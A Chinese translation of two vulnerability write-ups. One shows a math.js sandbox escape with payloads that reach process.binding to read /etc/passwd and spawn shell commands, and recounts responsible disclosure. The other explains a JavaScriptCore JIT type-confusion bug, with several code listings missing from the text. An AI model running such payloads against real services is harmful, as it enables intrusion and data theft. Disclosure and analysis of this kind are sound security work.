如何在math.js中進行遠端程式碼執行&漏洞的預防性修補
原文連結:https://capacitorset.github.io/mathjs/ 原文連結:https://www.zerodayinitiative.com/blog/2018/10/31/preventative-patching-produces-pwn2own-participants-panic
前言
本文簡要描述了我們如何發現、利用以及提交遠端程式碼執行(RCE)漏洞,希望這篇文章能夠成為查詢漏洞的指南,並且我們將一直用負一種負責任的態度報告漏洞。
第一步:發現
在使用math.js API( http://api.mathjs.org/v1/?expr=expression-here
)時,我們發現它似乎在執行JavaScript程式碼,但在這過程中有一些限制:
> !calc cos Result: function > !calc eval Result: function > !calc eval("x => x") Error: Value expected (char 3) > !calc eval("console.log") Error: Undefined symbol console > !calc eval("return 1") Result: 1
尤其是, eval
似乎被一個安全版取代了, Function
和 setTimeout/ setInterval
也無效了:
> !calc Function("return 1") Error: Undefined symbol Function > !calc setTimeout Error: Undefined symbol Function
第二步:開發
既然我們發現了執行程式碼的過程中存在某種限制,我們就得想辦法避免。
有四種標準方法可以用來執行中的程式碼,分別是:
- eval("code")( JavaScript/Reference/Global_Objects/eval" target="_blank" rel="nofollow,noindex">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval )
- new Function("code")( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )
- setTimeout("code", timeout)( https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout )
- setInterval("code", interval)( https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval )
在math.js環境中,我們無法直接訪問它們,因為它們沒有被定義,或者是因為它們已經使用安全函式重新定義了。但是,我們可以間接訪問它們:值得注意的是, Function
可以作為現有函式的建構函式間接訪問——這是引導我們發現漏洞的關鍵線索。
例如, Function("return 1")
可以替換為 Math.floor.constructor("return 1")
。因此,要執行 return 1
,我們可以使用 Math.floor.constructor("return 1")()
。
我們知道在math.js環境中 cos
被定義為一個函式,所以我們使用了:
> !calc cos.constructor("return 1")() Result: 1
我們成功了!
這裡我們可以使用 require-d
引入一些模組,然後獲得對作業系統的訪問許可權,對吧?但其實沒那麼快:雖然math.js API伺服器在Node.js環境中執行,但不知道怎麼回事我們無法使用 require
。
> !calc cos.constructor("return require")() Error: require is not defined
但是,我們可以使用 process
,它有一些特別棒的功能:
> !calc cos.constructor("return process")() Result: [object process] > !calc cos.constructor("return process.env")() Result: { "WEB_MEMORY": "512", "MEMORY_AVAILABLE": "512", "NEW_RELIC_LOG": "stdout", "NEW_RELIC_LICENSE_KEY": "<redacted>", "DYNO": "web.1", "PAPERTRAIL_API_TOKEN": "<redacted>", "PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin", "WEB_CONCURRENCY": "1", "PWD": "/app", "NODE_ENV": "production", "PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]", "SHLVL": "1", "HOME": "/app", "PORT": "<redacted>", "NODE_HOME": "/app/.heroku/node", "_": "/app/.heroku/node/bin/node" }
雖然 process.env
包含了一些有趣的資訊,但它實際上並沒有什麼用:我們需要更深入地探究,並且用上 process.binding
,這將會向作業系統公開Javascript繫結。儘管它們沒有被正式記錄並且在內部使用,但是可以通過讀取Node.js原始碼來重建它們的行為。例如,我們可以使用 process.binding("fs")
來讀取OS上的任意的一個檔案(在具有適當許可權的情況下):
為簡潔起見,我們將跳過 !calc cos.constructor("code")
,並且相應的,用貼上的相關JS程式碼進行替換。
> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return buffer root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh <more users...>
我們差不多完成了:現在我們需要找到一種可以開啟shell、並且可以執行任意命令的方法。如果你有使用Node.js的經驗,你可能知道 child_process
,它可以用來生成帶有 spawnSync
的程序:我們只需要使用作業系統繫結複製這個功能(請記住我們現在不能使用 require
)。
這看起來容易的多了:您只需獲取 child_process
的原始碼,刪除不需要的程式碼(未使用的函式和錯誤的處理),縮小它,並通過API執行它。
從這裡,我們可以生成任意程序並且執行shell命令:
> return spawnSync('/usr/bin/whoami'); { "status": 0, "signal": null, "output": [null, u15104, ], "pid": 100, "stdout": u15104, "stderr": }
第三步:提交漏洞
既然我們發現了一個漏洞並儘可能地在利用它,現在我們得想辦法如何處理它。由於我們開發它僅僅是出於一種興趣,並且我們沒有任何惡意,所以我們採用了“白帽子”方法,並將其提交給維護者。我們通過他的GitHub上的個人資料中列出的電子郵件地址與他取得了私下聯絡,併發送了以下的詳細資訊:
1.漏洞的簡短描述(math.js中的遠端程式碼執行缺陷);
2.一個示例攻擊,解釋它是如何工作的(一份關於為什麼 cos.constructor("code")()
可以有效執行,以及 process.bindings
可以帶來什麼的總結報告);
3.在伺服器上實際演示(包括 whoami
和 uname -a
輸出);
4.關於修復它的一些建議(例如,使用 vmNode.js
中的模組)。
在兩天的時間裡,我們與作者一起合作來幫助修復漏洞。值得注意的是,他在 2f45600
中推出一個修復程式後,我們在 3c3517d
中發現了一個類似的解決方法(如果你不能直接使用建構函式,請使用 cos.constructor.apply(null, "code")()
)。
時間線
2017年3月26日22:20 CEST:首次成功發掘漏洞
2017年3月29日14:43 CEST:向作者提交漏洞
2017年3月31日12:35 CEST:提交了第二個漏洞(.apply)
2017年3月31日13:52 CEST:兩個漏洞都已修復
此漏洞由@CapacitorSet和@denysvitali發現。感謝@josdejong及時修復漏洞,感謝JSFuck發現了這個 [].filter.constructor
。
最後還有一份來自Jos的澄清:math.js並不像之前想象的那樣執行JavaScript程式碼,它有自己的解析器,這個解析器擁有自己的數學導向語法和運算子以及函式,當然這些函式仍然是JavaScript函式。
Pwn2Own的預防性漏洞修補
Pwn2Own的每個條目都讓人焦慮的一個原因是每個漏洞都要經過重複檢查的過程。即使參賽者成功的展示了對漏洞的利用,如果我們或供應商已經知道漏洞,這也不算是成功。研究人員可能會感到非常緊張,因為無法知道其他人是否已經提交了漏洞。當現在我們開始為 Pwn2Own Tokyo
做準備時,我將公開我發現的一個Bug。
該漏洞存在於 WebKit’s JavaScript implementation
, JavaScriptCore
中的JIT引擎中。具體而言,該漏洞位於 Data Flow Graph(DFG)
層中。
在分析該漏洞之前,讓我們確保我們可以對 JavaScriptCore
快速上手。 JavaScriptCore
支援的函式有一個優化的變體,稱為 Intrinsic
,它有專屬於自己的操作,例如, new Uint32Array
最終可能由 NewTypedArray
處理,而 Math.abs(x)
最終可能由 ArithAbs
處理。在 JavaScriptCore's JIT
引擎中,這些函式主要出現在兩個檔案中: DFGAbstractInterpreterInlines.h
和 DFGClobberize.h
。
順便提一下,副作用指操作本身之外,可能會發生的任何事情。舉一個例子, ArithAbs
函式需要用一個引數並返回該引數的絕對值,就像 Math.abs
。因此,這意味著執行ArithAbs函式中不應該分配陣列。有效的操作以幾種不同的方式表示,在 DFGAbstractInterpreterInlines.h
中,它們表示為 clobberWorld
,而在 DFGClobberize.h
中,它們分別表示為 read(World)
和 write(Heap)
。我們可以掩飾在這些呼叫期間發生的事情,並關注它們破壞已知狀態的事實,使得JIT引擎在函式執行後不會做出任何假設。
漏洞發現
今年4月我去迪拜OPCDE的途中,我閱讀了DFG位元組程式碼解析器並在該 handleTypedArrayConstructor
方法名中碰巧發現了這個:
在這裡, blah
是一個非緩衝物件,這激起了我的好奇心,於是我趕緊看了看 DFGAbstractInterpreterInlines.h
以及 DFGClobberize.h
,從而確定 NewTypedArray
函式是否被當作有效程式碼進行處理。
這是我在 DFGAbstractInterpreterInlines.h
中所看到的:
這是非常符合我的預期。如果 TypedArray
建構函式的引數是 UntypedUse
,那麼將會發生 clobberWorld
的呼叫。
然而,當我看到 DFGClobberize.h
時,有趣的事情發生了:
作為一個對比版本,以下是經過
ArithAbs
處理的 Math.abs
,以及其如何在 DFGClobberize.h
中被處理:
看到不同了嗎?通過該 ArithAbs
操作,如果引數 to Math.abs
不是 integer
或 double
,則 clobberize
會將操作標記為有效。 NewTypedArray
假設 DFGClobberize
沒有將該操作標記為有效,而是由抽象直譯器將其標記為有效。由於操作沒有正確建模,我們可以讓JIT引擎混淆陣列的型別,這樣它就可以讓我們將指標指的那個值讀為浮點數,或者寫入可以解釋為指標值的浮點數。最後,如果精心設計的假的物件破壞了JIT引擎設定的假設,這種型別的混淆可能導致程式碼執行。
細心的讀者會注意到我沒有為此漏洞提供任何CVE或ZDI識別符號,這是由於我在本文開頭簡要提到的衝突。在我發現這個錯誤的六天後, git commit 36dd2d2b40c5640412f39efcb6fd081a56016a5d
被引入以試圖發現 clobberize
和抽象直譯器之間不一致的地方。作為被提交的一部分,以下內容新增到 DFGClobberize.h
:
奇怪的是,在提交兩天後,我們發現已經有研究人員發現並提交了相同的漏洞。
撞洞是普遍存在的現象,特別是當許多人都在尋找類似的領域時。隨著 Pwn2Own Tokyo
即將到來,希望每個參與者都可以成功應對比賽之前釋出的補丁。
你可以在Twitter上找到我@WanderingGlitch,並跟隨團隊獲取最新的漏洞利用技術和安全補丁。